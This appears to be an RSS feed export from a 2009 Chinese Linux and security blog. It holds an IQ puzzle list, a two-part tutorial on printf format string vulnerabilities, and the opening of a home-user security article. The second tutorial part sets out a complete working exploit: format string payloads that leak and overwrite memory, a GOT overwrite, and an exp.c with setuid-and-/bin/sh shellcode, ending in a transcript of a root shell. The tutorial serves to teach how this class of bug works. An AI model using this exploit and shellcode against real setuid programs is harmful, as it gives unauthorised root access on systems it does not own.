学与思linux编程网 http://www.xueyusi.com linux, 编程, 算法, 网络技术, 安全 Sat, 29 Aug 2009 11:14:56 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 智力题 看看你的IQ http://www.xueyusi.com/resource/iq-test1.html http://www.xueyusi.com/resource/iq-test1.html#comments Sat, 29 Aug 2009 11:14:56 +0000 admin http://www.xueyusi.com/?p=1016 1. 老师盒子里有10颗糖,正好学生有10人.
老师说:你们每人要分到颗糖,同时盒子里还要剩下一颗,请问怎么分 ？

2. 明和小华买了10斤蜂蜜,装在一个大瓶子里.要把蜂蜜平分,只有两个空瓶子,一个正好装7斤,另一个正好装3斤.
怎样才能用最简单的方法把蜂蜜分出来.

3. 有100个球,其中有个质量较轻,
现在只有个天平,你最少用几次把球找出来

4. 有口井不知有多深,现有一跟绳子,也不知道有多长.
把绳子折成3折,把一端垂下井底.当绳子的下端到达井底时,上端比井口低1尺.
如果把绳子折成2折.那下端到达井低时,上端高出6尺.
你知道井有多深,绳子有多长了吗?

5. 小明,小华,小红三个人钓鱼.
钓完后,别人问他们今天钓了好多条鱼.
小明说一共22条.
小华比我多钓两条,小红比小华多钓3条
你知道他们三人各钓多少条吗?

6. 有4条船,这4条船划到对岸所需的时间各不同,1号船要1分钟,2号船要2分钟,3号船要5分钟,4号船要10分钟.
怎样才能用最快时间把4条船划到对岸?
[只有一个人划船,一次最多可划两条船走,但必须要划条回来.]

7. 有三个盒子:分别是红,绿,黄三种颜色.
只有一个盒子有奖品.每个盒子上贴着一张纸条.三张纸条写着三句话,只有一句是真话.
红盒子上写:奖品不在红盒子里
绿盒子上写:奖品不在绿盒子里
黄盒子上写:奖品不在红盒子里
奖品在哪个盒子了?

8. 一个人在朋友家吃饭，问朋友这顿饭吃的什么肉。朋友说吃的企鹅肉，他就嚎啕大哭。为什么她吃了企鹅肉就哭了？

9. 有母女三人，母亲死了。姐妹俩去参加葬礼。妹妹在葬礼上遇见个英俊男子，并一见钟情。但葬礼完后那男子就不见了， 妹妹找不到他。一个月后，妹妹把姐姐杀了，为什么？

10.
有5间房子排成一列
所有房屋外表一样颜色不一样
所有的屋主来自不同的国家
所有屋主养不同的宠物,喝不同的饮料,抽不同的香烟
提示:
英国人住红房子
瑞典人养狗
丹麦人喝茶
绿房子在白房子的左边
绿房子的屋主喝咖啡
抽pall mall香烟的屋主养鸟
黄房子屋主抽Dunhill香烟
最中间房屋的屋主喝牛奶
挪威人住第一间房屋
抽blend香烟的人住在养猫人的隔壁
养马的屋主在抽Dunhill香烟的隔壁
抽blue mastrr香烟的屋主喝啤酒
德国人抽prince香烟
挪威人住在蓝色的房子的隔壁
只喝开水的人住在抽blend香烟的隔壁
问：谁养鱼

]]> http://www.xueyusi.com/resource/iq-test1.html/feed 0 由printf引起的格式化字符串漏洞（二） http://www.xueyusi.com/security/formatstring-bugs-2.html http://www.xueyusi.com/security/formatstring-bugs-2.html#comments Sun, 02 Aug 2009 01:40:48 +0000 admin http://www.xueyusi.com/?p=1012 我们来看一个具有格式化字符串缺陷的程序 :

$ cat check.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{

char name[65];

strncpy(name, argv[1], 64);
name[64] = 0;
printf(name);
putchar(’\n’);

return 0;

}

$ gcc check.c -o check
$ ./check AAAA
AAAA

我们输入%x来验证这个程序存在格式化字符串缺陷

$ ./check AAAA.%x.%x.%x
AAAA.bfbf5978.33.0

如果不存在格式化字符串缺陷的话，我们输入”AAAA.%x.%x.%x“输出结果应该与输入一样。那么我们怎么来利用这个有缺陷的程序呢？

第一招，一击毙命

我们要先来个下马威，一下结束它的生命。我们怎么才能让这个程序异常退出呢，当然是让这个程序访问非法内存咯。从前面那个输入我们可以看出第二个%x输出的 结果是33，printf函数把根据%x把该内存中的4字节数据解释成了十六进制数，如果我们让printf把该内存中的4字节数据解释成地址又如何呢， 按照分析，我们只要输入两个%s就可以让他非法访问内存了，试试看（在你的机器上也许不一样，如果两个不行，多输入几个试试）

$ ./check AAAA.%s%s
segment fault

如果一个有这样缺陷的程序放在网络上面提供网络服务，比如 web server，后果可想而知了

第二招，窥探

这一招当然没有第一招那么狠毒，但是道德确更加败坏。我们可以利用这个缺陷查看该进程的内存

$ ./check AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAA.bfd5195a.15.0.0.0.0.0.41000000.2e414141.252e7825.78252e78.2e78252e.252e7825

利用上面这个方法，我们也许可以查看整个堆栈中的数据，但要视存放格式化字符串的缓冲区大小而定，只能查看堆栈上的数据可能对我们的诱惑少了点，能不能查看其他地方的数据呢？可以！

为了演示如何查看其他地方的数据，我们把上面那个程序稍稍改一下：

$ cat check.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char pwd[] = “xYz357″;

int main(int argc, char *argv[])
{

char name[65];

printf(”pwd addr:[%p]\n”, pwd);
strncpy(name, argv[1], 64);
name[64] = 0;
printf(name);
putchar(’\n’);

return 0;

}

$ gcc check.c -o check
$ ./check AAAA
pwd addr:[0x80496d8]
AAAA

从运行结果我们知道pwd地址在0×80496d8，我们用下面的格式化字符串来查看该地址中的内容

首先我们来确定从printf的第二个参数到我们的格式化字符串在内存中的位置之间的距离:

$ ./check AAAAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
pwd addr:[0x80496d8]
AAAAAAA.bff0b960.1b.0.0.0.0.41000000.41414141.252e4141.78252e78

从结果可以看到，第8个%x就到了我们的字符串缓冲区，注意，第七个已经接触到一个A字符，看起来保存我们格式化字符串的地址与printf函数的第二个参数之间的距离并不是sizeof(int)的倍数，我们需要自己对齐，于是我们输入

$ ./check `perl -e ‘print “A\xd8\x96\x04\x08.%x.%x.%x.%x.%x.%x.%x.%s.%x.%x”‘`
pwd addr:[0x80496d8]
Aؖ.bfed3962.1d.0.0.0.0.41000000.xYz357.2e78252e.252e7825

看到红色字没有，我们保存在pwd中的字符串被打印出来了！当然，我们这儿是事先知道了该字符串的地址才得以成功的，如果我们要攻击别人的程序，我们是不可 能知道这个地址的，所以我们好像要通过猜，呵，好像在碰大运。

第三招，跳龙门

这才是真正的漏洞利用。如果这个程序是setuid到root的，我们的机会来了，通过他获得root权限。能不能跳成功就要看真本事了哦，阅读以下内容需要基本的汇编知识和elf文件格式的相关知识。

先来看%n在printf函数中的用法

$ cat ./printf.c
#include <stdio.h>

int main(int argc, char *argv[])
{

int i = 0;

printf(”before i = [%d]\n”, i);
printf(”%s%n\n”, argv[1], &i);
printf(”after i = [%d]\n”, i);

return 0;

}

$ gcc printf.c -o printf
$ ./printf a
before i = [0]
a
after i = [1]
$ ./printf aa
before i = [0]
aa
after i = [2]
$ ./printf aaa
before i = [0]
aaa
after i = [3]

从上面的例子我们可以看出， 对应%n的参数是int型指针，该指针所指的内存单元将被printf函数写入一个整形值，这个值就是在遇到%n之前此次调用printf函数所打印的字符总数，所以上示例子中的输出结果分别为1，2和3。我们把上示例子稍微改一下：

$ cat printf.c
#include <stdio.h>
#include <string.h>

int i = 0;

int main(int argc, char *argv[])
{

char buf[65];

strncpy(buf, argv[1], 64);
buf[64] = 0;
printf(”before i = [%d]\n”, i);
printf(buf);
printf(”\nafter i = [%d]\n”, i);

return 0;

}

$ gcc printf.c -o printf
$ ./printf AAAAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
before i = [0]
AAAAAAA.0.1b.0.0.0.0.0.41000000.41414141.252e4141
after i = [0]

从结果我们可以看出printf的第一个参数与我们的格式化字符串之间的距离为4＊8＋3＝35bytes，也就是说我们提供的字符串的第一个字符出现在 printf函数第八个参数的最高字节处。于是我们可以构造一个字符串作为printf的第一个参数，使其在遇到第九个参数（对应着%n）时向某个地址写 入一个值。下面我们来看如何构造这个字符串让他去修改i的值。要修改i的值，我们必须知道 i的地址并作为参数提供给printf函数，我们用gdb来提取i的地址

$ gdb -q printf
(no debugging symbols found)
Using host libthread_db library “/lib/libthread_db.so.1″.
(gdb) disass main
Dump of assembler code for function main:
0×080483d4 <main+0>:    lea    0×4(%esp),%ecx
0×080483d8 <main+4>:    and    $0xfffffff0,%esp
0×080483db <main+7>:    pushl  0xfffffffc(%ecx)
0×080483de <main+10>:   push   %ebp
0×080483df <main+11>:   mov    %esp,%ebp
0×080483e1 <main+13>:   push   %ecx
0×080483e2 <main+14>:   sub    $0×64,%esp
0×080483e5 <main+17>:   mov    0×4(%ecx),%eax
0×080483e8 <main+20>:   add    $0×4,%eax
0×080483eb <main+23>:   mov    (%eax),%eax
0×080483ed <main+25>:   movl   $0×40,0×8(%esp)
0×080483f5 <main+33>:   mov    %eax,0×4(%esp)
0×080483f9 <main+37>:   lea    0xffffffbb(%ebp),%eax
0×080483fc <main+40>:   mov    %eax,(%esp)
0×080483ff <main+43>:   call   0×80482c8 <strncpy@plt>
0×08048404 <main+48>:   movb   $0×0,0xfffffffb(%ebp)
0×08048408 <main+52>:   mov    0×80496c0,%eax
0×0804840d <main+57>:   mov    %eax,0×4(%esp)
0×08048411 <main+61>:   movl   $0×8048520,(%esp)
0×08048418 <main+68>:   call   0×80482e8 <printf@plt>
0×0804841d <main+73>:   lea    0xffffffbb(%ebp),%eax
0×08048420 <main+76>:   mov    %eax,(%esp)
0×08048423 <main+79>:   call   0×80482e8 <printf@plt>
0×08048428 <main+84>:   mov    0×80496c0,%eax
0×0804842d <main+89>:   mov    %eax,0×4(%esp)
0×08048431 <main+93>:   movl   $0×8048531,(%esp)
0×08048438 <main+100>:  call   0×80482e8 <printf@plt>
0×0804843d <main+105>:  mov    $0×0,%eax
0×08048442 <main+110>:  add    $0×64,%esp
0×08048445 <main+113>:  pop    %ecx
0×08048446 <main+114>:  pop    %ebp
0×08048447 <main+115>:  lea    0xfffffffc(%ecx),%esp
0×0804844a <main+118>:  ret
End of assembler dump.

从红色的几句汇编代码我们可以确定编译链接时分配给i的地址为0×080496c0，于是

$ ./printf `perl -e ‘print “A\xc0\x96\x04\x08.%x.%x.%x.%x.%x.%x.%x.%x.%n.%x”‘`
before i = [0]
A��.0.1d.0.0.0.0.0.41000000..2e78252e
after i = [30]

看结果就知道我们成功的修改了i的值。用这种方法我们可以修改几乎所有可写内存中的值，至于在什么地方写什么东西就看你自己咯，运用上面的方法我们用一个例 子来攻击一个具有格式化字符串漏洞的程序，使其执行我们的恶意代码，也就是从普通权限提升到root权限。当然这里有个前提就是这个具有漏洞的程序必须是 一个setuid到root的程序。

$ cat vul.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char buf[32];

int main(int argc, char *argv[])
{

char path[257];

strncpy(path, argv[1], 256);
path[256] = 0;
strncpy(buf, argv[2], 31);
buf[31] = 0;
printf(path);
printf(”\n”);

return 0;

}

$ gcc vul.c -o vul

红色代码部分造就了此程序具有格式化字符串漏洞，要攻击此程序，需要我们用 printf函数的%n来改写某些东西使程序执行流转入执行我们的代码。
这里有几种常见方法改变执行流

1，改写函数返回地址，此方法是栈溢出最常用的方法，但有个难点，就是很难定位返回地址在内存中的地址。

2，改写进程映像的.got section。所有从动态库引入的函数地址都会保存在got表中，此方法最大的优点是got表的地址是由elf文件决定的，程序装载器一般不会去修改它，所以每次由loader装入时，它都具有定值。

3，改写.dtors section。当程序从main函数反回到glibc的runtime后.dtors中的函数会被执行。优点同2

我们在这里使用上述的第二种办法。首先来确定printf函数在.got中内存地址

$ objdump -R vul
vul:     file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496c0 R_386_GLOB_DAT    __gmon_start__
080496d0 R_386_JUMP_SLOT   __gmon_start__
080496d4 R_386_JUMP_SLOT   strncpy
080496d8 R_386_JUMP_SLOT   putchar
080496dc R_386_JUMP_SLOT   __libc_start_main
080496e0 R_386_JUMP_SLOT   printf

我们发现上面的输出中有个putchar，估计这个是printf(”\n”)这句被翻译成了putchar了，我们可以用gdb来验证一下：

$ gdb -q vul
(no debugging symbols found)
Using host libthread_db library “/lib/libthread_db.so.1″.
(gdb) disass main
Dump of assembler code for function main:
0×08048404 <main+0>:    lea    0×4(%esp),%ecx
0×08048408 <main+4>:    and    $0xfffffff0,%esp
0×0804840b <main+7>:    pushl  0xfffffffc(%ecx)
0×0804840e <main+10>:   push   %ebp
0×0804840f <main+11>:   mov    %esp,%ebp
0×08048411 <main+13>:   push   %ebx
0×08048412 <main+14>:   push   %ecx
0×08048413 <main+15>:   sub    $0×120,%esp
0×08048419 <main+21>:   mov    %ecx,%ebx
0×0804841b <main+23>:   mov    0×4(%ebx),%eax
0×0804841e <main+26>:   add    $0×4,%eax
0×08048421 <main+29>:   mov    (%eax),%eax
0×08048423 <main+31>:   movl   $0×100,0×8(%esp)
0×0804842b <main+39>:   mov    %eax,0×4(%esp)
0×0804842f <main+43>:   lea    0xfffffef7(%ebp),%eax
0×08048435 <main+49>:   mov    %eax,(%esp)
0×08048438 <main+52>:   call   0×80482ec <strncpy@plt>
0×0804843d <main+57>:   movb   $0×0,0xfffffff7(%ebp)
0×08048441 <main+61>:   mov    0×4(%ebx),%eax
0×08048444 <main+64>:   add    $0×8,%eax
0×08048447 <main+67>:   mov    (%eax),%eax
0×08048449 <main+69>:   movl   $0×1f,0×8(%esp)
0×08048451 <main+77>:   mov    %eax,0×4(%esp)
0×08048455 <main+81>:   movl   $0×8049720,(%esp)
0×0804845c <main+88>:   call   0×80482ec <strncpy@plt>
0×08048461 <main+93>:   movb   $0×0,0×804973f
0×08048468 <main+100>:  lea    0xfffffef7(%ebp),%eax
0×0804846e <main+106>:  mov    %eax,(%esp)
0×08048471 <main+109>:  call   0×804831c <printf@plt>
0×08048476 <main+114>:  movl   $0xa,(%esp)
0×0804847d <main+121>:  call   0×80482fc <putchar@plt>
0×08048482 <main+126>:  mov    $0×0,%eax
0×08048487 <main+131>:  add    $0×120,%esp
0×0804848d <main+137>:  pop    %ecx
0×0804848e <main+138>:  pop    %ebx
0×0804848f <main+139>:  pop    %ebp
0×08048490 <main+140>:  lea    0xfffffffc(%ecx),%esp
0×08048493 <main+143>:  ret
End of assembler dump.
(gdb)

可以看出我们的printf(”\n”)函数确实被换成了putchar函数。于是我们就确定了需要改写的地址是0×080496d8， 只要把这个地址中的值改成我们的恶意代码在内存中的地址就可以让程序在调用printf(”\n”)时实际上把控制转移到我们的代码去执行。可是我们恶意 代码如何注入目标进程呢？也有多种方法，比如放在环境变量或传递给进程的参数中，或者通过进程需要的输入注入进去。在这里我们通过传递给进程的参数把恶意 代码放进去，由于argv[2]会被复制到buf中，所以通过argv[2]来注入代码，这样它在内存的地址很好确定了，用gdb可以看到buf的地址是0×8049720，这样我们就知道我们需要做的事情就是把0×080496d8这个内存单元(4bytes)中的值改写成0×8049720就ok了。分析了这么多，现在我们来写一个漏洞利用程序exp.c来攻击vul。

$ cat exp.c
#include <unistd.h>
#include <string.h>

char shellcode[] =
“\x31\xdb”
“\x8d\x43\x17″
“\xcd\x80″
“\x31\xd2″
“\x52″
“\x68\x2f\x2f\x73\x68″
“\x68\x2f\x62\x69\x6e”
“\x89\xe3″
“\x52″
“\x53″
“\x89\xe1″
“\x8d\x42\x0b”
“\xcd\x80″;

int main (int argc, char *argv[])
{

int i;
char *av[4];
char buf[256];

memset(buf, 0, sizeof(buf));
strcpy(buf,     “A\xd8\x96\x04\x08\AAAA\xd9\x96\x04\x08\AAAA\xda\x96\x04\x08″
“%8x%8x%8x%8x%8x%8x%219x%hn%119x%hn%1645x%hn”);

av[0] = argv[1];
av[1] = buf;
av[2] = shellcode;
av[3] = NULL;

execve(av[0], av, NULL);

return 1;

}

$ gcc exp.c -o exp
$ ./exp ./vul
AؖAAAAٖAAAAږbf92bfd6      1f       1
83db7f1f2d0b7f1f000
41048238
41414141
4141sh-3.2$

从红色字可以确定我们拿到了shell，但它并不是root shell，原因在于我们那个vul并未被setuid到root，如果被攻击程序是一个setuid到root的程序，那么我们就可以通过该程序从普通用户提升为root用户。在本次实验中我们利用下面的命令来设置vul程序

$ su -l root
password：
# cd ~mhmdanger
# cd formatstring/
# chown root ./vul
# chmod u+s ./vul
# ls -l vul
-rwsrwxr-x 1 root      mhmdanger 5093 09-25 19:02 vul
# exit
logout
$  ./exp ./vul
AؖAAAAٖAAAAږbfcb3fd6      1f       1
83db7fbb2d0b7fbb000
41048238
41414141
4141sh-3.2# id
uid=0(root) gid=500(mhmdanger) groups=500(mhmdanger) context=user_u:system_r:unconfined_t
sh-3.2#

哈，root权限拿到了

对于上面那个exp.c我们说明几点

1， shellcode中存放的是二进制代码，其作用是设置进程的uid=0然后执行/bin/sh。由于vul在 被普通用户执行其euid=0，所以我们可以成功设置其uid=0，再由于execve执行新程序后其uid和euid都不会改变，所以我们执行出来的 shell也就具有了root权限。

2，exp.c中我们构造的字符串为”A\xd8\x96\x04\x08\AAAA\xd9\x96 \x04\x08\AAAA\xda\x96\x04\x08%8x%8x%8x%8x%8x%8x%219x%hn%119x%hn %1645x%hn”，我们利用了%hn而不是%n有两个原因：其一，在某些系统中printf函数一次如果打印过多字符则会出现异常，所以我们只能利用 多次写入的方法；其二，%hn一次写两个字节，这样可以不破坏内存中的其它值。

]]> http://www.xueyusi.com/security/formatstring-bugs-2.html/feed 0 由printf引起的格式化字符串漏洞（一） http://www.xueyusi.com/security/formatstring-bugs-1.html http://www.xueyusi.com/security/formatstring-bugs-1.html#comments Thu, 30 Jul 2009 12:13:35 +0000 admin http://www.xueyusi.com/?p=1006 本系列文章实验平台：
x86 Fedora 7
$ gcc -v
使用内建 specs。
目标：i386-redhat-linux
配 置为：../configure –prefix=/usr –mandir=/usr/share/man –infodir=/usr/share/info –enable-shared –enable-threads=posix –enable-checking=release –with-system-zlib –enable-__cxa_atexit –disable-libunwind-exceptions –enable-languages=c,c++,objc,obj-c++,java,fortran,ada –enable-java-awt=gtk –disable-dssi –enable-plugin –with-java-home=/usr/lib/jvm/java-1.5.0-gcj-1.5.0.0/jre –enable-libgcj-multifile –enable-java-maintainer-mode –with-ecj-jar=/usr/share/java/eclipse-ecj.jar –with-cpu=generic –host=i386-redhat-linux
线程模型：posix
gcc 版本 4.1.2 20070502 (Red Hat 4.1.2-12)

＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊

在c语言中有些库函数以含格式化字符串作为其参数之一，比如*prinf家族函数，syslog等类似函数。这些函数如果使用错误，将会带来灾难性的软件缺陷 。
为了更加清楚的理解格式化字符串缺陷的形成原因与攻击方法，我们有必要对程序在内存中的布局，堆栈，函数调用等基础知识有较清晰的理解，汇编语言也是必不可少的。这些基本知识可以很容易在网络上面找到，所以在这里就不啰嗦了。

下面我们以一个例子来分析一下在c中变参数函数的实现原理，其实查看glibc库中的源代码更容易些，但是我了锻炼汇编语言能力，我们通过反汇编来分析。

$ cat var_args.c
#include <stdio.h>
#include <stdarg.h>

int func(int argc, …);

int main(int argc, char *argv[])
{

int i;
int j;
int ret;

i = 0;
j = 1;

ret = func(2, i, j);
printf(”%d\n”, ret);

return 0;

}

int func(int argc, …)
{

int i;
int arg;
va_list va;

va_start(va, argc);
for (i = 0; i < argc; i++) {

arg = va_arg(va, int);

}
va_end(va);

return arg;

}

$ gcc var_args.c -o var_args
$ ./var_args
1

我们用gdb来分析一下这个程序，首先来看main函数

$ gdb var_args -q
(no debugging symbols found)
Using host libthread_db library “/lib/libthread_db.so.1″.
(gdb) disass main
Dump of assembler code for function main:
0×080483a4 <main+0>:    lea    0×4(%esp),%ecx //此时esp指向main的返回地址
0×080483a8 <main+4>:    and    $0xfffffff0,%esp //堆栈指针按16字节对齐
0×080483ab <main+7>:    pushl  0xfffffffc(%ecx) //把main的返回地址再次压栈，实际上没什么用，可以不要
0×080483ae <main+10>:   push   %ebp　//此句和下一句构造栈帧
0×080483af <main+11>:   mov    %esp,%ebp
0×080483b1 <main+13>:   push   %ecx
0×080483b2 <main+14>:   sub    $0×24,%esp　//为main函数局部变量和调用func的参数分配地址空间，36字节
0×080483b5 <main+17>:   movl   $0×0,0xfffffff0(%ebp)　//i = 0
0×080483bc <main+24>:   movl   $0×1,0xfffffff4(%ebp) //j = 1
0×080483c3 <main+31>:   mov    0xfffffff4(%ebp),%eax //把j的值放入eax寄存器中
0×080483c6 <main+34>:   mov    %eax,0×8(%esp) //func的最后一个参数入栈，也就是j
0×080483ca <main+38>:   mov    0xfffffff0(%ebp),%eax
0×080483cd <main+41>:   mov    %eax,0×4(%esp) //func的倒数第二个参数入栈，i
0×080483d1 <main+45>:   movl   $0×2,(%esp) //func的倒数第三个参数也是第一个参数2入栈
0×080483d8 <main+52>:   call   0×8048401 <func> //调用func函数
0×080483dd <main+57>:   mov    %eax,0xfffffff8(%ebp)//func函数的返回值赋给ret
0×080483e0 <main+60>:   mov    0xfffffff8(%ebp),%eax
0×080483e3 <main+63>:   mov    %eax,0×4(%esp) //printf函数最后一个参数就是ret入栈
0×080483e7 <main+67>:   movl   $0×8048510,(%esp) //printf的第一个参数就是字符串”%d”入栈
0×080483ee <main+74>:   call   0×80482b8 <printf@plt> //调用printf函数
0×080483f3 <main+79>:   mov    $0×0,%eax //准备main函数的返回值
0×080483f8 <main+84>:   add    $0×24,%esp //调整堆栈指针
0×080483fb <main+87>:   pop    %ecx
0×080483fc <main+88>:   pop    %ebp //恢复基址寄存器
0×080483fd <main+89>:   lea    0xfffffffc(%ecx),%esp //esp指向main函数的返回地址
0×08048400 <main+92>:   ret    //返回到libc库的启动例程
End of assembler dump.
(gdb)

从上面可以看出传递给func函数的参数都是以4个字节为单位压入堆栈的，然后call指令完成两个任务，一是把call指令的下一条指令的地址也就是 0×080483dd压入堆栈，而是跳转到0×8048401执行func函数。这时堆栈寄存器esp就指向func函数的返回地址。大概样子如下两个图

图一：在程序执行到0×080483c3时堆栈布局

－－－－－－－－－－－－－－－－－－内存低地址
垃圾数据             <—–esp 虚拟地址X
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–esp ＋ 4                    X+4
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–esp ＋ 8                    X+8
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–esp ＋ 0xc               X+0xc
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–esp ＋ 0×10                X+0×10
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–ebp-0×14        esp+0×14                X+0×14
－－－－－－－－－－－－－－－－－－
0(变量i)             <—–ebp-0×10           esp+0×18                X+0×18
－－－－－－－－－－－－－－－－－－
j(变量i)              <—–ebp-0xc               esp+0×1c                X+0×1c
－－－－－－－－－－－－－－－－－－
垃圾数据              <—–ebp-8                esp+0×20               X+0×20
－－－－－－－－－－－－－－－－－－
ecx                        <—–ebp -4                esp+0×24              X+0×24
－－－－－－－－－－－－－－－－－－
glibc启动例程的ebp <—–ebp esp +0×28               X+0×28
－－－－－－－－－－－－－－－－－－
main函数的返回地址         <—–ebp+4              esp +0×2c               X+0×2c
－－－－－－－－－－－－－－－－－－
0×080483a8处指令调整空间
－－－－－－－－－－－－－－－－－－
main函数的返回地址
－－－－－－－－－－－－－－－－－－
main函数的参数
glibc堆栈
环境变量与命令行参数等
－－－－－－－－－－－－－－－－－－ 内存高地址

图二：在程序执行完0×080483d8的call这条机器指令后堆栈布局

－－－－－－－－－－－－－－－－－－内存低地址
func函数的返回地址            <—–esp X-4    /*call压入*/
－－－－－－－－－－－－－－－－－－
2（printf函数的第一个参数）        <—–esp+4                      虚拟地址X
－－－－－－－－－－－－－－－－－－
0 （变量i 的值）              <—–esp ＋ 8                    X+4
－－－－－－－－－－－－－－－－－－
1  （变量j的值）              <—–esp ＋ 0xc                    X+8
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–esp ＋ 0×10               X+0xc
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–esp ＋ 0×14                X+0×10
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–ebp-0×14        esp+0×18                X+0×14
－－－－－－－－－－－－－－－－－－
0(变量i)             <—–ebp-0×10           esp+0×1c                X+0×18
－－－－－－－－－－－－－－－－－－
j(变量i)              <—–ebp-0xc               esp+0×20                X+0×1c
－－－－－－－－－－－－－－－－－－
垃圾数据              <—–ebp-8                esp+0×24               X+0×20
－－－－－－－－－－－－－－－－－－
ecx                        <—–ebp -4                esp+0×28              X+0×24
－－－－－－－－－－－－－－－－－－
glibc启动例程的ebp <—–ebp esp +0×2c               X+0×28
－－－－－－－－－－－－－－－－－－
main函数的返回地址         <—–ebp+4              esp +0×30               X+0×2c
－－－－－－－－－－－－－－－－－－
0×080483a8处指令调整空间
－－－－－－－－－－－－－－－－－－
main函数的返回地址
－ －－－－－－－－－－－－－－－－－
main函数的参数
glibc堆栈
环境变量与命令行参数等
－－－－－－－－－－－－－－－－－－ 内存高地址

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

我们再来看看func函数

(gdb) disass func
Dump of assembler code for function func:
0×08048401 <func+0>:    push   %ebp
0×08048402 <func+1>:    mov    %esp,%ebp
0×08048404 <func+3>:    sub    $0×10,%esp //以上三句构造func函数的栈帧
0×08048407 <func+6>:    lea    0xc(%ebp),%eax
0×0804840a <func+9>:    mov    %eax,0xfffffff4(%ebp)//把传递给此函数的第二个参数的地址(ebp+0xc)保存在地址(epb – 0xc)处，地址ebp-0xc处专门用于保存将要处理的参数的地址
0×0804840d <func+12>:   movl   $0×0,0xfffffff8(%ebp)//i = 0
0×08048414 <func+19>:   jmp    0×804842a <func+41>
0×08048416 <func+21>:   mov    0xfffffff4(%ebp),%edx//edx保存此时正在处理的参数的地址
0×08048419 <func+24>:   lea    0×4(%edx),%eax //此时eax保存的是传递给本函数的下一个参数的地址，从上面那个图我们可以看出第三个参数存放在第二个参数地址加4的地方
0×0804841c <func+27>:   mov    %eax,0xfffffff4(%ebp)//更新地址ebp-0xc中的值，使其指向下一个待处理参数
0×0804841f <func+30>:   mov    %edx,%eax
0×08048421 <func+32>:   mov    (%eax),%eax//取参数值到eax
0×08048423 <func+34>:   mov    %eax,0xfffffffc(%ebp)//给变量arg赋值
0×08048426 <func+37>:   addl   $0×1,0xfffffff8(%ebp) //变量i++
0×0804842a <func+41>:   mov    0xfffffff8(%ebp),%eax //把变量本函数局部变量i的值放入eax
0×0804842d <func+44>:   cmp    0×8(%ebp),%eax //变量i与传递给本函数的第一个值比较
0×08048430 <func+47>:   jl     0×8048416 <func+21> //小于则跳转
0×08048432 <func+49>:   mov    0xfffffffc(%ebp),%eax //变量arg的值存入eax作为返回值
0×08048435 <func+52>:   leave
0×08048436 <func+53>:   ret
End of assembler dump.
(gdb)

图三 0×08048404执行完毕后堆栈如下图所示

－－－－－－－－－－－－－－－－－－   内存低地址
X-0×18 <--------esp
－－－－－－－－－－－－－－－－－－
X-0×14
－－－－－－－－－－－－－－－－－－
X-0×10
－－－－－－－－－－－－－－－－－－
X-0xc
－－－－－－－－－－－－－－－－－－
ebp <——ebp    X-8
－－－－－－－－－－－－－－－－－－
func函数的返回地址            <—–esp      X-4    /*call压入*/
－－－－－－－－－－－－－－－－－－
2（printf函数的第一个参数）         <—–esp+4                      虚拟地址X
－－－－－－－－－－－－－－－－－－
0 （变量i 的值）              <—–esp ＋ 8                    X+4
－－－－－－－－－－－－－－－－－－
1  （变量j的值）              <—–esp ＋ 0xc                    X+8
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–esp ＋ 0×10               X+0xc
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–esp ＋ 0×14                X+0×10
－－－－－－－－－－－－－－－－－－
垃圾数据             <—–esp+0×18                X+0×14
－－－－－－－－－－－－－－－－－－
0(变量i)             <—–esp+0×1c                X+0×18
－－－－－－－－－－－－－－－－－－
j(变量i)              <—–esp+0×20                X+0×1c
－－－－－－－－－－－－－－－－－－
垃圾数据              <—–esp+0×24               X+0×20
－－－－－－－－－－－－－－－－－－
ecx                        <—–esp+0×28              X+0×24
－－－－－－－－－－－－－－－－－－
glibc启动例程的ebp <—–esp +0×2c               X+0×28
－－－－－－－－－－－－－－－－－－
main函数的返回地址        <—–esp +0×30               X+0×2c
－－－－－－－－－－－－－－－－－－
0×080483a8处指令调整空间
－－－－－－－－－－－－－－－－－－
main函数的返回地址
－ －－－－－－－－－－－－－－－－－
main函数的参数
glibc堆栈
环境变量与命令行参数等
－－－－－－－－－－－－－－－－－－ 内存高地址

当从func函数返回后堆栈堆栈指针esp就指向上图中的虚拟地址X，可以看出函数在执行返回后堆栈恢复到调用函数之前的状态。

从 以上的分析可以看出，编译器把传递给函数的第一个参数在ebp+8的地方，编译器把第二个参数放在第一个参数相邻的地址中，依次类推。在可变参数函数中， 编译器无法确定函数的参数个数，因此参数个数完全由该函数自己决定，比如在我们的例子中该函数用第一个参数来确定后面还带有几个参数，又如printf利 用%符号来确定参数的个数与类型，但是如果我们传入的参数少于格式化字符串提示的参数个数会发生什么情况呢，比如printf(”[%d][%d][% d][%d]“, 1, 2)这样调用printf函数到底会发生什么情况，我们在下篇文章中来分析。

]]> http://www.xueyusi.com/security/formatstring-bugs-1.html/feed 0 个人上网用户的安全 http://www.xueyusi.com/security/personal-net-security.html http://www.xueyusi.com/security/personal-net-security.html#comments Wed, 29 Jul 2009 12:47:08 +0000 admin http://www.xueyusi.com/?p=1003 原文出处：http://elfhack.whitecell.org/mydocs/pc.txt

本文章是只针对一般的上网用户(windows用户)而写，高手免看。

为了您的数据安全，为了使您不出现这样的情况：在OICQ上跟一个MM或者是帅哥畅快伶俐聊天的时候，突然电脑蓝屏死机了。你是否在纳闷”我的机子好好的，怎么今天就死了N多次了啊，faint!”

hehe,网络就是一个大社会，绝对的安全是没有的。

